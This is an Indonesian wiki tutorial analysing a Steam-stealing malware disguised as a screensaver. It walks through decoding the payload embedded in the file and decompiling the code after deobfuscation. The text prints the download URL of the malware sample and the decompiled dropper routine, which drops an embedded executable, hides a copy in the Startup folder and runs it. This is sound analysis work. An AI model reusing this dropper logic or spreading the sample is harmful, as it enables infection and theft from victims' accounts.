Analisis Singkat Malware Steam Stealer

From Indonesian Research And Development Center
Jump to: navigation, search

Pendahuluan

Tutorial ini merupakan analisis singkat terhadap malware yang menyamar sebagai screensaver dan memanfaatkan fitur chat pada Steam untuk menyebar dan melakukan transfer item dari akun Steam milik korban ke akun Steam milik pembuat malware tersebut. Berdasarkan analisis singkat, diperoleh informasi bahwa malware tersebut dibuat menggunakan visual basic dotnet dan diproteksi menggunakan dotnet reactor.


Cara Pertama

Cara pertama yang akan digunakan adalah static analysis dan hanya mencakup proses dekripsi dan disassembly file yang ter-embed pada malware tersebut. Pada bagian ini, penulis menggunakan sistem operasi GNU/Linux.

  • Pertama, unduh sample malwarenya pada URL: http://screenshost.ru/image_047.jpg
  • URL tersebut akan mengarahkan pada file steam-image_047.scr dan berikut ini adalah hasil identifikasinya:
% file steam-image_047.scr
steam-image_047.scr: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
  • Gunakan strings untuk mencari printable string pada malware tersebut, makan pada bagian akhir akan terlihat baris yang cukup panjang di dalam atribut XML description:
% strings steam-image_047.scr
...snip...
<description>\\1||eslaF||seY||exe.relaetSmaetS||pmeT||AAgXAswCR23D/7zP/ ... </description>
  • Bisa terlihat bahwa ada beberapa bagian yang dipisahkan oleh karakter ||. Jika ke-5 bagian awal pada baris tersebut dibalik maka akan menjari kalimat yang mudah dibaca. Caranya adalah sebagai berikut:
% echo -n '\\1||eslaF||seY||exe.relaetSmaetS||pmeT' | rev
Temp||SteamStealer.exe||Yes||False||1\
  • Dari sini, dapat ditarik kesimpulan sementara bahwa malware ini akan membaca atau menulis file yang bernama SteamStealer.exe pada direktori temporer (Temp). Adapun bagian ke-6 dari baris di atas, jika dibalik maka akan menghasilkan string yang di-encode menggunakan base64. Dan setelah di-decode maka hasilnya berupa file yang dikompres menggunakan gzip:
% file SteamStealer
SteamStealer: gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT)
  • Selanjutnya, ubah nama filenya agar dapat diekstrak menggunakan gunzip:
% mv SteamStealer SteamStealer.gz && gunzip SteamStealer.gz
  • Periksa file yang telah diekstrak:
% file SteamStealer
SteamStealer: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
  • Langkah terakhir adalah menggunakan monodis (mono CIL disassembler) untuk melakukan disassembly:
% monodis SteamStealer | head -10
.assembly extern mscorlib
{
  .ver 2:0:0:0
  .publickeytoken = (B7 7A 5C 56 19 34 E0 89 ) // .z\V.4..
}
.assembly extern System
{
  .ver 2:0:0:0
  .publickeytoken = (B7 7A 5C 56 19 34 E0 89 ) // .z\V.4..
}
...snip...
  • Anda juga dapat menggunakan disassembler/decompiler favorit Anda untuk proses dekompilasi/disassembly misalnya IDAPro.


Cara Kedua

Cara kedua ini dilakukan pada sistem operasi Microsoft Windows di dalam virtual machine dan dengan bantuan beberapa perangkat lunak untuk reverse engineering diantaranya ILSpy dan .Net Tools. Perlu dicatat, aturan standard untuk melakukan analisis terhadap file yang berbahaya termasuk malware adalah dengan menggunakan virtual machine atau semacamnya dan sebisa mungkin tidak terhubung dengan jaringan.

  • Langkah pertama adalah melakukan scanning terhadap file steam-image_047.exe menggunakan protection_id, dan hasilnya adalah sebagai berikut:
-=[ ProtectionID v0.6.6.6 OCTOBER]=-
(c) 2003-2014 CDKiLLER & TippeX
Build 31/10/14-07:38:06
Ready...
Scanning -> C:\Documents and Settings\Administrator\My Documents\steam-image_047.exe
File Type : 32-Bit Exe (Subsystem : Win GUI / 2), Size : 338432 (052A00h) Byte(s)
Compilation TimeStamp : 0x54298F2A -> Mon 29th Sep 2014 16:56:10 (GMT)
[File Heuristics] -> Flag #1 : 00000100000001001101000000110000 (0x0404D030)
[Entrypoint Section Entropy] : 5.64 (section #0) ".text   " | Size : 0xAEA4 (44708) byte(s)
[DllCharacteristics] -> Flag : (0x8540) -> ASLR | DEP | NOSEH | TSA
[SectionCount] 4 (0x4) | ImageSize 0x5A000 (368640) byte(s)
[VersionInfo] Product Name : BSCInk
[VersionInfo] Product Version : 1.0.0.0
[VersionInfo] File Description : BSCInk
[VersionInfo] File Version : 1.0.0.0
[VersionInfo] Original FileName : MoInk.exe
[VersionInfo] Internal Name : MoInk.exe
[VersionInfo] Legal Copyrights : Copyright ©  2014
[Debug Info] (record 1 of 1) (file offset 0xB206)
Characteristics : 0x0 | TimeDateStamp : 0x0 | MajorVer : 0 / MinorVer : 0 -> (0.0)
Type : 2 (0x2) -> CodeView | Size : 0x22 (34)
AddressOfRawData : 0xCE22 | PointerToRawData : 0xB222
CvSig : 0x53445352 | SigGuid FF2F1F5F-95CB-4C07-A34C32D41359E1C3
Age : 0x1 | Pdb : MoInk.pdb
[!] [.net scan core] dotNetReactor detected!
[CompilerDetect] -> .NET
[.] .Net Info -> v 2.5 | x86 managed (/platform:x86) | Flags : 0x00000003 -> COMIMAGE_FLAGS_ILONLY | COMIMAGE_FLAGS_32BITREQUIRED |
[.] Entrypoint (Token) : 0x06000002
[.] MetaData RVA : 0x00007444 | Size : 0x00003676 (13942)
[.] MetaData->Version 1.1 -> v2.0.50727
[.] Flags : 0x0 | Streams : 0x7 (7) unusual (its usually 5)
- Scan Took : 0.157 Second(s) [00000009Dh (157) tick(s)] [497 of 569 scan(s) done]
  • Dari hasil deteksi di atas, bisa terlihat bahwa malware tersebut diproteksi menggunakan dotNetReactor dan untuk mempermudah proses analisis, maka akan digunakan aplikasi PvLog DeObfuscator yang merupakan bagian dari .Net Tools. Jalankann PvLog DeObfuscator dan pada bagian Assembly to DeObfuscate isi dengan path ke file malware steam-image_047.exe dengan menekan tombol browse. Untuk bagian Target Directory akan diisi secara otomatis oleh PvLog DeObfuscator. Selanjutnya, centang bagian Run Static Constructors, DeObfuscate Names dan DeObfuscate Public Names lalu tekan tombol Go maka hasil deobfuscate akan disimpan pada sub direktori Deobfuscated dan berikut ini adalah log yang ditampilkan:
PvLog .NET DeObfuscator v1.0.3736.28078

C:\Documents and Settings\Administrator\My Documents\steam-image_047.exe
Reading Streams
Loading Metadata Tables
Loading Names
Processing String Entries
Processing Member References
Building Type Graph - MethodSemantics - NestedClass - Graph Root - PropertyMap - EventMap - Members - FieldRVAs
Building Type Names
Managed resources
Loading Assembly by Reflection
Calling static constructors
Loading Method Bodies
optimizing bodies
Deobfuscation finished
  • Sebagai catatan, pada proses di atas akan muncul sebuah pesan bahwa malware steam-image_047.exe tersebut diproteksi menggunakan dotnet reactor yang belum diregistrasi. Anda cukup menekan tombol OK ketika pesan tersebut muncul.
  • Selanjutnya, jalankan aplikasi ILSpy dan buka file yang sudah di-deobfuscate pada sub direktori DeObfuscated, maka pada panel sebelah kiri di bagian tree view steam-image_047 dapat terlihat namespace MoInk. Pada bagian MoInk -> Class3 -> Method4 dapat terlihat proses yang kurang lebih sama dengan yang telah dijelaskan pada cara pertama di atas. Berikut ini adalah potongan kode Method4 tersebut:
// MoInk.Class3
[MethodImpl(MethodImplOptions.NoInlining)]
private static void Method4()
{
    string text = File.ReadAllText(Process.GetCurrentProcess().MainModule.FileName);
    string text2 = "<description>";
    string text3 = "</description>";
    string expression = Class2.Method1(Class3.Method3(ref text, ref text2, ref text3));
    Class3.Field1 = Strings.Split(expression, "\\\\", -1, CompareMethod.Binary);
    for (int i = 0; i <= Class3.Field1.Length - 1; i++)
    {
        if (!string.IsNullOrEmpty(Class3.Field1[i]))
        {
            try
            {
                string[] array = Strings.Split(Class3.Field1[i], "||", -1, CompareMethod.Binary);
                string s = array[0];
                string text4 = Interaction.Environ(array[1]) + "\\" + array[2];
                string a = array[3];
                string a2 = array[4];
                int millisecondsTimeout = Convert.ToInt32(array[5]) * 1000;
                if (File.Exists(text4))
                {
                    File.Delete(text4);
                }
                File.WriteAllBytes(text4, Class3.Method1(Convert.FromBase64String(s)));
                if (a2 == "True")
                {
                    string text5 = Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\" + array[2];
                    if (File.Exists(text5))
                    {
                        File.Delete(text5);
                    }
                    File.Copy(text4, text5);
                    File.SetAttributes(text5, FileAttributes.Hidden);
                }
                Thread.Sleep(millisecondsTimeout);
                if (a == "Yes")
                {
                    Process.Start(text4);
                }
            }
            catch (Exception ex)
            {
                MessageBox.Show(ex.ToString());
            }
        }
    }
    Process.GetCurrentProcess().Kill();
}
  • Dari sini, Anda dapat melanjutkan proses analisis dan mempelajari cara kerja malware tersebut dengan melihat hasil dekompilasi setiap method.


Penutup

Demi faktor keamanan, sebaiknya hindari mengunduh file yang mencurigakan dan kalaupun ingin mengunduh dan Anda tidak menggunakan antivirus, maka Anda dapat menggunakan layanan seperti virustotal untuk memeriksa file tersebut. Walaupun demikian, kadang ada faktor yang cukup sulit untuk ditanggulangi misalnya jika Anda adalah seorang yang bekerja sebagai HRD pada sebuah perusahaan maka kemungkinan besar Anda akan sering bertemu dengan attack vector yang lain misalnya melalui file yang tipenya adalah PDF. Maka dari itu Anda harus senantiasa waspada. Demikian tutorial singkat kali ini, semoga bermanfaat. Terima kasih kepada Tuhan Yang Maha Esa, Maxindo, N3 dan Anda yang telah membaca tulisan singkat ini.


Referensi